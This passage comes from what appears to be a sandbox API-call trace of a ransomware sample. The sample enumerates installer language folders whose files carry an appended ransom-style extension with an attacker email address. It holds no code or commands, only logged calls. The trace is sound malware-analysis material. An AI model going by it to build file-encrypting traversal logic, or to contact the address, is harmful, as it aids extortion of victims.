cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.909] FindClose (in: hFindFile=0x4262f18 | out: hFindFile=0x4262f18) returned 1 [0205.910] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.910] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1035", cAlternateFileName="")) returned 1 [0205.910] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.911] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262bd8 [0205.912] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.912] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ed1893, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ed1893, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7ed1893, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.912] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ed1893, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ed1893, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7ef7aab, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.912] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.912] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x734f1ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.912] FindClose (in: hFindFile=0x4262bd8 | out: hFindFile=0x4262bd8) returned 1 [0205.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.913] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1036", cAlternateFileName="")) returned 1 [0205.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.914] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262998 [0205.915] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x737fee6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.915] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7ef7aab, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7ef7aab, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8396179, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.915] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8028d9e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8028d9e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8028d9e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.915] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.915] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x734f1ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x734f1ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7dec7e1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.915] FindClose (in: hFindFile=0x4262998 | out: hFindFile=0x4262998) returned 1 [0205.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.916] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1037", cAlternateFileName="")) returned 1 [0205.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.917] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262918 [0205.918] FindNextFileW (in: hFindFile=0x4262918, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.918] FindNextFileW (in: hFindFile=0x4262918, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8028d9e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8028d9e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x804ee31, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.918] FindNextFileW (in: hFindFile=0x4262918, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x804ee31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x804ee31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x804ee31, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.918] FindNextFileW (in: hFindFile=0x4262918, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.918] FindNextFileW (in: hFindFile=0x4262918, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73e7a92, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.918] FindClose (in: hFindFile=0x4262918 | out: hFindFile=0x4262918) returned 1 [0205.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.919] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1038", cAlternateFileName="")) returned 1 [0205.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.920] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262998 [0205.921] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x740ddd0, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x740ddd0, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.921] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e7938, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x80e7938, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x80e7938, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.921] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x80e7938, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x80e7938, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x810db0b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.921] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x745a2dd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.921] FindNextFileW (in: hFindFile=0x4262998, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x73e7a92, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x73e7a92, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x745a2dd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.921] FindClose (in: hFindFile=0x4262998 | out: hFindFile=0x4262998) returned 1 [0205.922] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.922] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1040", cAlternateFileName="")) returned 1 [0205.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.923] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262898 [0205.925] FindNextFileW (in: hFindFile=0x4262898, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.925] FindNextFileW (in: hFindFile=0x4262898, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x810db0b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x810db0b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8133b91, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.925] FindNextFileW (in: hFindFile=0x4262898, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8133b91, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8133b91, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x858651b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.925] FindNextFileW (in: hFindFile=0x4262898, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x745a2dd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x745a2dd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e5f03d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.925] FindNextFileW (in: hFindFile=0x4262898, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x745a2dd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x745a2dd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7e5f03d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.925] FindClose (in: hFindFile=0x4262898 | out: hFindFile=0x4262898) returned 1 [0205.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.926] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1041", cAlternateFileName="")) returned 1 [0205.927] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.927] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x4262bd8 [0205.928] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8264d9d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8264d9d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8264d9d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x828b3af, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x828b3af, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x828b3af, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x10b86, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x748055f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3e58, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.928] FindNextFileW (in: hFindFile=0x4262bd8, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, 